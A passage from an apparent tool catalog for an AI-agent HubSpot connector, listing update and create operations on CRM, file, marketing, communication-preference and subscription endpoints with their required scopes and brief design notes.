/crm/v3/objects/contacts/{contactId} on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.write. PATCH /api/v1/hubspot/crm/v3/objects/contacts/{contactId}. Scopes: crm.objects.contacts.write. hubspot_patch_crm_v3_objects_discounts_by_discountid (write) — Update. Perform a partial update of an Object identified by `{discountId}`or optionally a unique property value as specified by the `idProperty` query param. `{discountId}` refers to the internal object ID by default, and the `idProperty` query param refers to a property whose values are unique for the object. Provided property values will be overwritten. Read-only and non-existent properties will result in an error. Properties values can be cleared by passing an empty string. Discounts applied to quotes, invoices and orders. Calls PATCH /crm/v3/objects/discounts/{discountId} on api.hubapi.com. Requires the HubSpot scope crm.objects.line_items.write. PATCH /api/v1/hubspot/crm/v3/objects/discounts/{discountId}. Scopes: crm.objects.line_items.write. hubspot_patch_crm_v3_objects_emails_by_emailid (write) — Update. Perform a partial update of an Object identified by `{emailId}`or optionally a unique property value as specified by the `idProperty` query param. `{emailId}` refers to the internal object ID by default, and the `idProperty` query param refers to a property whose values are unique for the object. Provided property values will be overwritten. Read-only and non-existent properties will result in an error. Properties values can be cleared by passing an empty string. Logged email engagements on a record's timeline. This is the CRM record of an email, not a send: nothing here delivers mail. Gated on the contacts scope. Calls PATCH /crm/v3/objects/emails/{emailId} on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.write. PATCH /api/v1/hubspot/crm/v3/objects/emails/{emailId}. Scopes: crm.objects.contacts.write. hubspot_patch_crm_v3_objects_fees_by_feeid (write) — Update. Perform a partial update of an Object identified by `{feeId}`or optionally a unique property value as specified by the `idProperty` query param. `{feeId}` refers to the internal object ID by default, and the `idProperty` query param refers to a property whose values are unique for the object. Provided property values will be overwritten. Read-only and non-existent properties will result in an error. Properties values can be cleared by passing an empty string. Fees applied to quotes, invoices and orders. Calls PATCH /crm/v3/objects/fees/{feeId} on api.hubapi.com. Requires the HubSpot scope crm.objects.line_items.write. PATCH /api/v1/hubspot/crm/v3/objects/fees/{feeId}. Scopes: crm.objects.line_items.write. hubspot_patch_crm_v3_objects_goal_targets_by_goaltargetid (write) — Update a goal target. Perform a partial update of an Object identified by `{goalTargetId}`or optionally a unique property value as specified by the `idProperty` query param. `{goalTargetId}` refers to the internal object ID by default, and the `idProperty` query param refers to a property whose values are unique for the object. Provided property values will be overwritten. Read-only and non-existent properties will result in an error. Properties values can be cleared by passing an empty string. Goal targets are the per-owner sales targets Sales Hub reports against. Calls PATCH /crm/v3/objects/goal_targets/{goalTargetId} on api.hubapi.com. Requires the HubSpot scope crm.objects.goals.write. PATCH /api/v1/hubspot/crm/v3/objects/goal_targets/{goalTargetId}. Scopes: crm.objects.goals.write. hubspot_patch_crm_v3_objects_invoices_by_invoiceid (write) — Update. Perform a partial update of an Object identified by `{invoiceId}`or optionally a unique property value as specified by the `idProperty` query param. `{invoiceId}` refers to the internal object ID by default, and the `idProperty` query param refers to a property whose values are unique for the object. Provided property values will be overwritten. Read-only and non-existent properties will result in an error. Properties values can be cleared by passing an empty string. Invoices are the Commerce Hub billing document. Calls PATCH /crm/v3/objects/invoices/{invoiceId} on api.hubapi.com. Requires the HubSpot scope crm.objects.invoices.write. PATCH /api/v1/hubspot/crm/v3/objects/invoices/{invoiceId}. Scopes: crm.objects.invoices.write. hubspot_patch_crm_v3_objects_leads_by_leadsid (write) — Update. Perform a partial update of an Object identified by `{leadsId}`or optionally a unique property value as specified by the `idProperty` query param. `{leadsId}` refers to the internal object ID by default, and the `idProperty` query param refers to a property whose values are unique for the object. Provided property values will be overwritten. Read-only and non-existent properties will result in an error. Properties values can be cleared by passing an empty string. Leads are the Sales Hub prospecting object that sits in front of a contact. Calls PATCH /crm/v3/objects/leads/{leadsId} on api.hubapi.com. Requires the HubSpot scope crm.objects.leads.write. PATCH /api/v1/hubspot/crm/v3/objects/leads/{leadsId}. Scopes: crm.objects.leads.write. hubspot_patch_crm_v3_objects_line_items_by_lineitemid (write) — Update. Perform a partial update of an Object identified by `{lineItemId}`or optionally a unique property value as specified by the `idProperty` query param. `{lineItemId}` refers to the internal object ID by default, and the `idProperty` query param refers to a property whose values are unique for the object. Provided property values will be overwritten. Read-only and non-existent properties will result in an error. Properties values can be cleared by passing an empty string. Line items are the priced rows on a deal, quote, invoice or order. They cannot exist alone; each one is associated to its parent object. Calls PATCH /crm/v3/objects/line_items/{lineItemId} on api.hubapi.com. Requires the HubSpot scope crm.objects.line_items.write. PATCH /api/v1/hubspot/crm/v3/objects/line_items/{lineItemId}. Scopes: crm.objects.line_items.write. hubspot_patch_crm_v3_objects_meetings_by_meetingid (write) — Update. Perform a partial update of an Object identified by `{meetingId}`or optionally a unique property value as specified by the `idProperty` query param. `{meetingId}` refers to the internal object ID by default, and the `idProperty` query param refers to a property whose values are unique for the object. Provided property values will be overwritten. Read-only and non-existent properties will result in an error. Properties values can be cleared by passing an empty string. Meeting engagements on a record's timeline. Gated on the contacts scope. Calls PATCH /crm/v3/objects/meetings/{meetingId} on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.write. PATCH /api/v1/hubspot/crm/v3/objects/meetings/{meetingId}. Scopes: crm.objects.contacts.write. hubspot_patch_crm_v3_objects_notes_by_noteid (write) — Update. Perform a partial update of an Object identified by `{noteId}`or optionally a unique property value as specified by the `idProperty` query param. `{noteId}` refers to the internal object ID by default, and the `idProperty` query param refers to a property whose values are unique for the object. Provided property values will be overwritten. Read-only and non-existent properties will result in an error. Properties values can be cleared by passing an empty string. Notes are free-text engagements on a record's timeline. Like every engagement object they are gated on the CONTACTS scope, not a notes scope - that is HubSpot's own model, not an approximation. Calls PATCH /crm/v3/objects/notes/{noteId} on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.write. PATCH /api/v1/hubspot/crm/v3/objects/notes/{noteId}. Scopes: crm.objects.contacts.write. hubspot_patch_crm_v3_objects_orders_by_orderid (write) — Update. Perform a partial update of an Object identified by `{orderId}`or optionally a unique property value as specified by the `idProperty` query param. `{orderId}` refers to the internal object ID by default, and the `idProperty` query param refers to a property whose values are unique for the object. Provided property values will be overwritten. Read-only and non-existent properties will result in an error. Properties values can be cleared by passing an empty string. Orders are the Commerce Hub order object. Calls PATCH /crm/v3/objects/orders/{orderId} on api.hubapi.com. Requires the HubSpot scope crm.objects.orders.write. PATCH /api/v1/hubspot/crm/v3/objects/orders/{orderId}. Scopes: crm.objects.orders.write. hubspot_patch_crm_v3_objects_postal_mail_by_postalmailid (write) — Postal mail engagements - physical mail logged against a record. Gated on the contacts scope. Calls PATCH /crm/v3/objects/postal_mail/{postalMailId} on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.write. PATCH /api/v1/hubspot/crm/v3/objects/postal_mail/{postalMailId}. Scopes: crm.objects.contacts.write. hubspot_patch_crm_v3_objects_products_by_productid (write) — Update. Perform a partial update of an Object identified by `{productId}`or optionally a unique property value as specified by the `idProperty` query param. `{productId}` refers to the internal object ID by default, and the `idProperty` query param refers to a property whose values are unique for the object. Provided property values will be overwritten. Read-only and non-existent properties will result in an error. Properties values can be cleared by passing an empty string. Products are the product library entries line items are created from. Calls PATCH /crm/v3/objects/products/{productId} on api.hubapi.com. Requires the HubSpot scope crm.objects.products.write. PATCH /api/v1/hubspot/crm/v3/objects/products/{productId}. Scopes: crm.objects.products.write. hubspot_patch_crm_v3_objects_quotes_by_quoteid (write) — Update. Perform a partial update of an Object identified by `{quoteId}`or optionally a unique property value as specified by the `idProperty` query param. `{quoteId}` refers to the internal object ID by default, and the `idProperty` query param refers to a property whose values are unique for the object. Provided property values will be overwritten. Read-only and non-existent properties will result in an error. Properties values can be cleared by passing an empty string. Quotes are the customer-facing priced document generated from a deal and its line items. Calls PATCH /crm/v3/objects/quotes/{quoteId} on api.hubapi.com. Requires the HubSpot scope crm.objects.quotes.write. PATCH /api/v1/hubspot/crm/v3/objects/quotes/{quoteId}. Scopes: crm.objects.quotes.write. hubspot_patch_crm_v3_objects_tasks_by_taskid (write) — Update. Perform a partial update of an Object identified by `{taskId}`or optionally a unique property value as specified by the `idProperty` query param. `{taskId}` refers to the internal object ID by default, and the `idProperty` query param refers to a property whose values are unique for the object. Provided property values will be overwritten. Read-only and non-existent properties will result in an error. Properties values can be cleared by passing an empty string. Tasks are the to-do engagements assigned to an owner. Gated on the contacts scope. Calls PATCH /crm/v3/objects/tasks/{taskId} on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.write. PATCH /api/v1/hubspot/crm/v3/objects/tasks/{taskId}. Scopes: crm.objects.contacts.write. hubspot_patch_crm_v3_objects_taxes_by_taxid (write) — Update. Perform a partial update of an Object identified by `{taxId}`or optionally a unique property value as specified by the `idProperty` query param. `{taxId}` refers to the internal object ID by default, and the `idProperty` query param refers to a property whose values are unique for the object. Provided property values will be overwritten. Read-only and non-existent properties will result in an error. Properties values can be cleared by passing an empty string. Taxes applied to quotes, invoices and orders. Calls PATCH /crm/v3/objects/taxes/{taxId} on api.hubapi.com. Requires the HubSpot scope crm.objects.line_items.write. PATCH /api/v1/hubspot/crm/v3/objects/taxes/{taxId}. Scopes: crm.objects.line_items.write. hubspot_patch_crm_v3_objects_tickets_by_ticketid (write) — Update. Perform a partial update of an Object identified by `{ticketId}`or optionally a unique property value as specified by the `idProperty` query param. `{ticketId}` refers to the internal object ID by default, and the `idProperty` query param refers to a property whose values are unique for the object. Provided property values will be overwritten. Read-only and non-existent properties will result in an error. Properties values can be cleared by passing an empty string. Tickets are Service Hub support cases. The `tickets` scope is a single scope covering both reading and writing them - there is no separate tickets.read. Calls PATCH /crm/v3/objects/tickets/{ticketId} on api.hubapi.com. Requires the HubSpot scope tickets. PATCH /api/v1/hubspot/crm/v3/objects/tickets/{ticketId}. Scopes: tickets. hubspot_patch_crm_v3_objects_users_by_userid (write) — Update. Perform a partial update of an Object identified by `{userId}`or optionally a unique property value as specified by the `idProperty` query param. `{userId}` refers to the internal object ID by default, and the `idProperty` query param refers to a property whose values are unique for the object. Provided property values will be overwritten. Read-only and non-existent properties will result in an error. Properties values can be cleared by passing an empty string. The CRM user object - one record per HubSpot seat, used to attribute ownership. Reading it is how a user id in an owner field is resolved to a person. Calls PATCH /crm/v3/objects/users/{userId} on api.hubapi.com. Requires the HubSpot scope crm.objects.users.write. PATCH /api/v1/hubspot/crm/v3/objects/users/{userId}. Scopes: crm.objects.users.write. hubspot_patch_crm_v3_pipelines_by_objecttype_by_pipelineid (write) — Perform a partial update of the pipeline identified by `{pipelineId}`. The updated pipeline will be returned in the response. Pipelines and their stages: the ordered states a deal or ticket moves through. A deal update that sets dealstage needs a stage id, and this is the only thing that produces one. Calls PATCH /crm/v3/pipelines/{objectType}/{pipelineId} on api.hubapi.com. Requires the HubSpot scopes crm.schemas.contacts.write, crm.schemas.companies.write, crm.schemas.deals.write, crm.schemas.quotes.write, crm.schemas.custom.write, tickets. PATCH /api/v1/hubspot/crm/v3/pipelines/{objectType}/{pipelineId}. Scopes: crm.schemas.companies.write, crm.schemas.contacts.write, crm.schemas.custom.write, crm.schemas.deals.write, crm.schemas.quotes.write, tickets. hubspot_patch_crm_v3_pipelines_by_objecttype_by_pipelineid_stages_by_stageid (write) — Pipelines and their stages: the ordered states a deal or ticket moves through. A deal update that sets dealstage needs a stage id, and this is the only thing that produces one. Calls PATCH /crm/v3/pipelines/{objectType}/{pipelineId}/stages/{stageId} on api.hubapi.com. Requires the HubSpot scopes crm.schemas.contacts.write, crm.schemas.companies.write, crm.schemas.deals.write, crm.schemas.quotes.write, crm.schemas.custom.write, tickets. PATCH /api/v1/hubspot/crm/v3/pipelines/{objectType}/{pipelineId}/stages/{stageId}. Scopes: crm.schemas.companies.write, crm.schemas.contacts.write, crm.schemas.custom.write, crm.schemas.deals.write, crm.schemas.quotes.write, tickets. hubspot_patch_crm_v3_properties_by_objecttype_by_propertyname (write) — Update a property. Perform a partial update of a property identified by '{propertyName}'. Provided fields will be overwritten. Properties are the FIELD DEFINITIONS on an object type - name, type, options, group. Reading them is what turns an opaque property key in a record into something an agent can describe, and what tells a write which keys are legal. Property reads are the highest-value diagnostic read in this connector. Calls PATCH /crm/v3/properties/{objectType}/{propertyName} on api.hubapi.com. Requires the HubSpot scopes crm.schemas.contacts.write, crm.schemas.companies.write, crm.schemas.deals.write, crm.schemas.quotes.write, crm.schemas.custom.write, tickets. PATCH /api/v1/hubspot/crm/v3/properties/{objectType}/{propertyName}. Scopes: crm.schemas.companies.write, crm.schemas.contacts.write, crm.schemas.custom.write, crm.schemas.deals.write, crm.schemas.quotes.write, tickets. hubspot_patch_crm_v3_properties_by_objecttype_groups_by_groupname (write) — Update a property group. Perform a partial update of a property group identified by {groupName}. Provided fields will be overwritten. Properties are the FIELD DEFINITIONS on an object type - name, type, options, group. Reading them is what turns an opaque property key in a record into something an agent can describe, and what tells a write which keys are legal. Property reads are the highest-value diagnostic read in this connector. Calls PATCH /crm/v3/properties/{objectType}/groups/{groupName} on api.hubapi.com. Requires the HubSpot scopes crm.schemas.contacts.write, crm.schemas.companies.write, crm.schemas.deals.write, crm.schemas.quotes.write, crm.schemas.custom.write, tickets. PATCH /api/v1/hubspot/crm/v3/properties/{objectType}/groups/{groupName}. Scopes: crm.schemas.companies.write, crm.schemas.contacts.write, crm.schemas.custom.write, crm.schemas.deals.write, crm.schemas.quotes.write, tickets. hubspot_patch_files_v3_files_by_fileid (write) — Update file properties. Update properties of file by ID. The file manager. Files are what a note, email or quote attaches. NOTE: the signed-URL read is deliberately absent - its response is a pre-authenticated URL that grants the bearer the file with no further credential, and no Agentic Fabriq redactor covers a URL. Calls PATCH /files/v3/files/{fileId} on api.hubapi.com. Requires the HubSpot scope files.ui_hidden.write. PATCH /api/v1/hubspot/files/v3/files/{fileId}. Scopes: files.ui_hidden.write. hubspot_patch_files_v3_folders_by_folderid (write) — Update folder properties by folder ID. Update a folder's properties, identified by folder ID. The file manager. Files are what a note, email or quote attaches. NOTE: the signed-URL read is deliberately absent - its response is a pre-authenticated URL that grants the bearer the file with no further credential, and no Agentic Fabriq redactor covers a URL. Calls PATCH /files/v3/folders/{folderId} on api.hubapi.com. Requires the HubSpot scope files.ui_hidden.write. PATCH /api/v1/hubspot/files/v3/folders/{folderId}. Scopes: files.ui_hidden.write. hubspot_patch_marketing_v3_campaigns_by_campaignguid (write) — Update campaign. Perform a partial update of a campaign identified by the specified campaignGuid. Provided property values will be overwritten. Read-only and non-existent properties will cause 400 error. If an empty string is passed for any property in the Batch Update, it will reset that property's value. Marketing campaigns, the assets attached to them, their budget and their measured revenue. Calls PATCH /marketing/v3/campaigns/{campaignGuid} on api.hubapi.com. Requires the HubSpot scope marketing.campaigns.write. PATCH /api/v1/hubspot/marketing/v3/campaigns/{campaignGuid}. Scopes: marketing.campaigns.write. hubspot_patch_marketing_v3_emails_by_emailid (write) — Update a marketing email. Change properties of a marketing email. Marketing email assets: drafts, clones, A/B variations, revisions and statistics. Nothing here SENDS to an address the caller names - the publish and send-to-list operations act on an audience HubSpot already holds. Calls PATCH /marketing/v3/emails/{emailId} on api.hubapi.com. Requires the HubSpot scope marketing.email.write. PATCH /api/v1/hubspot/marketing/v3/emails/{emailId}. Scopes: marketing.email.write. hubspot_patch_marketing_v3_emails_by_emailid_draft (write) — Create or update draft version. Create or update the draft version of a marketing email. If no draft exists, the system creates a draft from the current “live” email then applies the request body to that draft. The draft version only lives on the buffer—the email is not cloned. Marketing email assets: drafts, clones, A/B variations, revisions and statistics. Nothing here SENDS to an address the caller names - the publish and send-to-list operations act on an audience HubSpot already holds. Calls PATCH /marketing/v3/emails/{emailId}/draft on api.hubapi.com. Requires the HubSpot scope marketing.email.write. PATCH /api/v1/hubspot/marketing/v3/emails/{emailId}/draft. Scopes: marketing.email.write. hubspot_patch_marketing_v3_forms_by_formid (write) — Partially update a form definition. Update some of the form definition components Marketing forms and their field definitions. Reading a form tells an agent which fields a submission may carry. Calls PATCH /marketing/v3/forms/{formId} on api.hubapi.com. Requires the HubSpot scope forms. PATCH /api/v1/hubspot/marketing/v3/forms/{formId}. Scopes: forms. hubspot_patch_marketing_v3_marketing_events_by_objectid (write) — Update Marketing Event by objectId. Updates the details of an existing Marketing Event identified by its objectId, if it exists. Marketing events - webinars and similar - and their attendance state. Calls PATCH /marketing/v3/marketing-events/{objectId} on api.hubapi.com. Requires the HubSpot scope crm.objects.marketing_events.write. PATCH /api/v1/hubspot/marketing/v3/marketing-events/{objectId}. Scopes: crm.objects.marketing_events.write. hubspot_patch_marketing_v3_marketing_events_events_by_externaleventid (write) — Update Marketing Event by External IDs. Updates the details of an existing Marketing Event identified by its externalAccountId, externalEventId if it exists. Only Marketing Events created by the same app can be updated. Marketing events - webinars and similar - and their attendance state. Calls PATCH /marketing/v3/marketing-events/events/{externalEventId} on api.hubapi.com. Requires the HubSpot scope crm.objects.marketing_events.write. PATCH /api/v1/hubspot/marketing/v3/marketing-events/events/{externalEventId}. Scopes: crm.objects.marketing_events.write. hubspot_patch_scheduler_v3_meetings_meeting_links_by_meetinglinkslug (write) — Meeting engagements on a record's timeline. Gated on the contacts scope. Calls PATCH /scheduler/v3/meetings/meeting-links/{meetingLinkSlug} on api.hubapi.com. Requires the HubSpot scope meetings-write. PATCH /api/v1/hubspot/scheduler/v3/meetings/meeting-links/{meetingLinkSlug}. Scopes: meetings-write. hubspot_post_communication_preferences_v4_links_generate (write) — Generate subscription links. Generate communication preference links for a subscriber. This endpoint allows you to create URLs for managing preferences and unsubscribing, which are useful for integrating communication preferences into your applications. Learn more about [generating preference page URLs and troubleshooting potential issues](https://developers.hubspot.com/docs/api-reference/legacy/communication-preferences/generate-url-guide). Communication preferences - a contact's subscription status per subscription type, and the legal basis recorded for it. This is the GDPR-relevant surface: read it before any send decision. Calls POST /communication-preferences/v4/links/generate on api.hubapi.com. Requires the HubSpot scope communication_preferences.read_write. POST /api/v1/hubspot/communication-preferences/v4/links/generate. Scopes: communication_preferences.read_write. hubspot_post_communication_preferences_v4_statuses_batch_read (read) — Batch read statuses. Retrieve the communication preferences statuses for a batch of subscribers. This endpoint allows you to check the subscription status across a specified channel for multiple subscribers at once. It is useful for managing and auditing subscriber preferences in bulk. Communication preferences - a contact's subscription status per subscription type, and the legal basis recorded for it. This is the GDPR-relevant surface: read it before any send decision. Calls POST /communication-preferences/v4/statuses/batch/read on api.hubapi.com. Requires the HubSpot scope communication_preferences.statuses.batch.read. POST /api/v1/hubspot/communication-preferences/v4/statuses/batch/read. Scopes: communication_preferences.statuses.batch.read. hubspot_post_communication_preferences_v4_statuses_batch_unsubscribe_all (write) — Batch unsubscribe contacts from all subscriptions. Unsubscribe a set of contacts from all email subscriptions. Communication preferences - a contact's subscription status per subscription type, and the legal basis recorded for it. This is the GDPR-relevant surface: read it before any send decision. Calls POST /communication-preferences/v4/statuses/batch/unsubscribe-all on api.hubapi.com. Requires the HubSpot scope communication_preferences.statuses.batch.write. POST /api/v1/hubspot/communication-preferences/v4/statuses/batch/unsubscribe-all. Scopes: communication_preferences.statuses.batch.write. hubspot_post_communication_preferences_v4_statuses_batch_unsubscribe_all_read (write) — Batch read statuses. Retrieve the unsubscribe-all status for a batch of subscribers across specified channels. This endpoint is useful for checking the unsubscribe status of multiple subscribers in bulk, particularly for email channels. Communication preferences - a contact's subscription status per subscription type, and the legal basis recorded for it. This is the GDPR-relevant surface: read it before any send decision. Calls POST /communication-preferences/v4/statuses/batch/unsubscribe-all/read on api.hubapi.com. Requires the HubSpot scope communication_preferences.statuses.batch.read. POST /api/v1/hubspot/communication-preferences/v4/statuses/batch/unsubscribe-all/read. Scopes: communication_preferences.statuses.batch.read. hubspot_post_communication_preferences_v4_statuses_batch_write (write) — Batch update subscription status. Update the subscription status for a set of contacts. Communication preferences - a contact's subscription status per subscription type, and the legal basis recorded for it. This is the GDPR-relevant surface: read it before any send decision. Calls POST /communication-preferences/v4/statuses/batch/write on api.hubapi.com. Requires the HubSpot scope communication_preferences.statuses.batch.write. POST /api/v1/hubspot/communication-preferences/v4/statuses/batch/write. Scopes: communication_preferences.statuses.batch.write. hubspot_post_communication_preferences_v4_statuses_by_subscriberidstring (write) — Update a contact's subscription status. Set the subscription status of a specific contact. Communication preferences - a contact's subscription status per subscription type, and the legal basis recorded for it. This is the GDPR-relevant surface: read it before any send decision. Calls POST /communication-preferences/v4/statuses/{subscriberIdString} on api.hubapi.com. Requires the HubSpot scope communication_preferences.read_write. POST /api/v1/hubspot/communication-preferences/v4/statuses/{subscriberIdString}. Scopes: communication_preferences.read_write. hubspot_post_communication_preferences_v4_statuses_by_subscriberidstring_unsubscribe_all (write) — Unsubscribe a contact from all subscriptions. Unsubscribe a contact from all email subscriptions. Communication preferences - a contact's subscription status per subscription type, and the legal basis recorded for it. This is the GDPR-relevant surface: read it before any send decision. Calls POST /communication-preferences/v4/statuses/{subscriberIdString}/unsubscribe-all on api.hubapi.com. Requires the HubSpot scope communication_preferences.read_write. POST /api/v1/hubspot/communication-preferences/v4/statuses/{subscriberIdString}/unsubscribe-all. Scopes: communication_preferences.read_write. hubspot_post_conversations_v3_conversations_actors_batch_read (read) — Get a group of actors. Resolve a set of `ActorId`s to the underlying actors/participants. The shared inbox: threads, messages, actors and channels. Replies go into an existing thread whose participants HubSpot already chose, which is why they ship where a caller-addressed email would not. Calls POST /conversations/v3/conversations/actors/batch/read on api.hubapi.com. Requires the HubSpot scope conversations.read. POST /api/v1/hubspot/conversations/v3/conversations/actors/batch/read. Scopes: conversations.read. hubspot_post_conversations_v3_conversations_threads_by_threadid_messages (write) — Send a message to a thread. Send a new message on a thread at the current timestamp. The shared inbox: threads, messages, actors and channels. Replies go into an existing thread whose participants HubSpot already chose, which is why they ship where a caller-addressed email would not. Calls POST /conversations/v3/conversations/threads/{threadId}/messages on api.hubapi.com. Requires the HubSpot scope conversations.write. POST /api/v1/hubspot/conversations/v3/conversations/threads/{threadId}/messages. Scopes: conversations.write. hubspot_post_crm_associations_v4_by_fromobjecttype_by_toobjecttype_labels (write) — Create association label. Create a new label that describes the relationship between two specified CRM object types. This can help in categorizing and managing associations more effectively. Association LABELS and definitions: the vocabulary of association types the portal allows, and which pairs of object types may be associated at all. Calls POST /crm/associations/v4/{fromObjectType}/{toObjectType}/labels on api.hubapi.com. Requires the HubSpot scopes crm.objects.contacts.write, crm.objects.companies.write, crm.objects.deals.write, tickets, crm.objects.line_items.write, crm.objects.quotes.write, crm.objects.custom.write. POST /api/v1/hubspot/crm/associations/v4/{fromObjectType}/{toObjectType}/labels. Scopes: crm.objects.companies.write, crm.objects.contacts.write, crm.objects.custom.write, crm.objects.deals.write, crm.objects.line_items.write, crm.objects.quotes.write, tickets. hubspot_post_crm_associations_v4_definitions_configurations_by_fromobjecttype_by_toobjecttype_batch_create (write) — Configure association limits. Batch configure association limits between two object types. Association LABELS and definitions: the vocabulary of association types the portal allows, and which pairs of object types may be associated at all. Calls POST /crm/associations/v4/definitions/configurations/{fromObjectType}/{toObjectType}/batch/create on api.hubapi.com. Requires the HubSpot scopes crm.objects.contacts.write, crm.objects.companies.write, crm.objects.deals.write, tickets, crm.objects.line_items.write, crm.objects.quotes.write, crm.objects.custom.write. POST /api/v1/hubspot/crm/associations/v4/definitions/configurations/{fromObjectType}/{toObjectType}/batch/create. Scopes: crm.objects.companies.write, crm.objects.contacts.write, crm.objects.custom.write, crm.objects.deals.write, crm.objects.line_items.write, crm.objects.quotes.write, tickets. hubspot_post_crm_associations_v4_definitions_configurations_by_fromobjecttype_by_toobjecttype_batch_purge (write, destructive) — DESTRUCTIVE. Remove association limits. Batch delete limits that have been defined for association types between two object types. Association LABELS and definitions: the vocabulary of association types the portal allows, and which pairs of object types may be associated at all. Requires confirm="purge-association-definitions" - that exact string. A boolean is not a control against a model that has already decided to call the tool. Calls POST /crm/associations/v4/definitions/configurations/{fromObjectType}/{toObjectType}/batch/purge on api.hubapi.com. Requires the HubSpot scopes crm.objects.contacts.write, crm.objects.companies.write, crm.objects.deals.write, tickets, crm.objects.line_items.write, crm.objects.quotes.write, crm.objects.custom.write. POST /api/v1/hubspot/crm/associations/v4/definitions/configurations/{fromObjectType}/{toObjectType}/batch/purge. Scopes: crm.objects.companies.write, crm.objects.contacts.write, crm.objects.custom.write, crm.objects.deals.write, crm.objects.line_items.write, crm.objects.quotes.write, tickets. hubspot_post_crm_associations_v4_definitions_configurations_by_fromobjecttype_by_toobjecttype_batch_update (write) — Update association limits. Batch update association limits that have been configured between two object types. Association LABELS and definitions: the vocabulary of association types the portal allows, and which pairs of object types may be associated at all. Calls POST /crm/associations/v4/definitions/configurations/{fromObjectType}/{toObjectType}/batch/update on api.hubapi.com. Requires the HubSpot scopes crm.objects.contacts.write, crm.objects.companies.write, crm.objects.deals.write, tickets, crm.objects.line_items.write, crm.objects.quotes.write, crm.objects.custom.write. POST /api/v1/hubspot/crm/associations/v4/definitions/configurations/{fromObjectType}/{toObjectType}/batch/update. Scopes: crm.objects.companies.write, crm.objects.contacts.write, crm.objects.custom.write, crm.objects.deals.write, crm.objects.line_items.write, crm.objects.quotes.write, tickets. hubspot_post_crm_extensions_calling_v3_connection_statuses_batch_read (read) — Call transcription records and their text. Calls POST /crm/extensions/calling/v3/connection-statuses/batch/read on api.hubapi.com. Requires the HubSpot scope crm.objects.owners.read. POST /api/v1/hubspot/crm/extensions/calling/v3/connection-statuses/batch/read. Scopes: crm.objects.owners.read. hubspot_post_crm_object_schemas_v3_schemas (write) — Create a new custom object schema. Create a new custom object schema by defining its properties and associations. Custom OBJECT TYPE definitions - the schema of a customer-defined object, not its records. This is what names the objectTypeId the generic object operations take. Calls POST /crm-object-schemas/v3/schemas on api.hubapi.com. Requires the HubSpot scope crm.schemas.custom.write. POST /api/v1/hubspot/crm-object-schemas/v3/schemas. Scopes: crm.schemas.custom.write. hubspot_post_crm_object_schemas_v3_schemas_batch_read (read) — Retrieve multiple custom object schemas in a batch request. Retrieve details of multiple custom object schemas by providing a batch request with specified inputs. This operation allows you to fetch schema information, including properties and associations, for multiple custom objects in a single API call. Custom OBJECT TYPE definitions - the schema of a customer-defined object, not its records. This is what names the objectTypeId the generic object operations take. Calls POST /crm-object-schemas/v3/schemas/batch/read on api.hubapi.com. Requires the HubSpot scope crm.objects.custom.read. POST /api/v1/hubspot/crm-object-schemas/v3/schemas/batch/read. Scopes: crm.objects.custom.read. hubspot_post_crm_object_schemas_v3_schemas_by_objecttype_associations (write) — Create an association for a specified object type. Create a new association between the specified object type and another object type. This operation requires the definition of the association attributes, such as the primary and target object type IDs. Custom OBJECT TYPE definitions - the schema of a customer-defined object, not its records. This is what names the objectTypeId the generic object operations take. Calls POST /crm-object-schemas/v3/schemas/{objectType}/associations on api.hubapi.com. Requires the HubSpot scope crm.schemas.custom.write. POST /api/v1/hubspot/crm-object-schemas/v3/schemas/{objectType}/associations. Scopes: crm.schemas.custom.write. hubspot_post_crm_objects_2026_03_subscriptions (write) — Create a new subscription object. Create a new subscription object with specified properties and optional associations. Recurring Commerce Hub subscriptions. Calls POST /crm/objects/2026-03/subscriptions on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.write. POST /api/v1/hubspot/crm/objects/2026-03/subscriptions. Scopes: crm.objects.contacts.write. hubspot_post_crm_objects_2026_03_subscriptions_batch_archive (write, destructive) — DESTRUCTIVE. Archive multiple subscription objects in a single request. Archive a batch of subscription objects by providing their IDs in the request body. Recurring Commerce Hub subscriptions. The inverse is the batch create on the same object family. Calls POST /crm/objects/2026-03/subscriptions/batch/archive on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.write. POST /api/v1/hubspot/crm/objects/2026-03/subscriptions/batch/archive. Scopes: crm.objects.contacts.write. hubspot_post_crm_objects_2026_03_subscriptions_batch_create (write) — Batch create subscription objects. Create multiple subscription objects in a single batch operation, allowing for efficient data entry and management. Recurring Commerce Hub subscriptions. Calls POST /crm/objects/2026-03/subscriptions/batch/create on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.write. POST /api/v1/hubspot/crm/objects/2026-03/subscriptions/batch/create. Scopes: crm.objects.contacts.write. hubspot_post_crm_objects_2026_03_subscriptions_batch_read (read) — Retrieve a batch of subscription objects by IDs. Retrieve a batch of CRM subscription objects by their IDs, including specified properties and their histories. Recurring Commerce Hub subscriptions. Calls POST /crm/objects/2026-03/subscriptions/batch/read on api.hubapi.com. Requires the HubSpot scope crm.objects.subscriptions.read. POST /api/v1/hubspot/crm/objects/2026-03/subscriptions/batch/read. Scopes: crm.objects.subscriptions.read. hubspot_post_crm_objects_2026_03_subscriptions_batch_update (write) — Update multiple subscriptions in a batch. Update multiple subscription objects in a single batch operation, allowing for efficient modifications of CRM subscription records. Recurring Commerce Hub subscriptions. Calls POST /crm/objects/2026-03/subscriptions/batch/update on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.write. POST /api/v1/hubspot/crm/objects/2026-03/subscriptions/batch/update. Scopes: crm.objects.contacts.write. hubspot_post_crm_objects_2026_03_subscriptions_batch_upsert (write) — Perform a batch upsert operation on subscription objects. This endpoint allows you to perform a batch upsert operation on subscription objects, which will either update existing records or create new ones if they do not already exist. The operation returns the status, timestamps, and a list of successfully processed objects. Recurring Commerce Hub subscriptions. Calls POST /crm/objects/2026-03/subscriptions/batch/upsert on api.hubapi.com. Requires the HubSpot scope crm.objects.contacts.write. POST /api/v1/hubspot/crm/objects/2026-03/subscriptions/batch/upsert. Scopes: crm.objects.contacts.write. hubspot_post_crm_objects_2026_03_subscriptions_search (read) — Search for CRM commerce subscriptions using specified criteria. Execute a search for CRM commerce subscriptions based on defined filters, properties, and sorting options. This endpoint allows for complex queries to retrieve specific subscription data, supporting pagination and a variety of search parameters. Recurring Commerce Hub subscriptions. THE ID-DISCOVERY WORKHORSE. HubSpot's Search API takes a filterGroups array (groups are 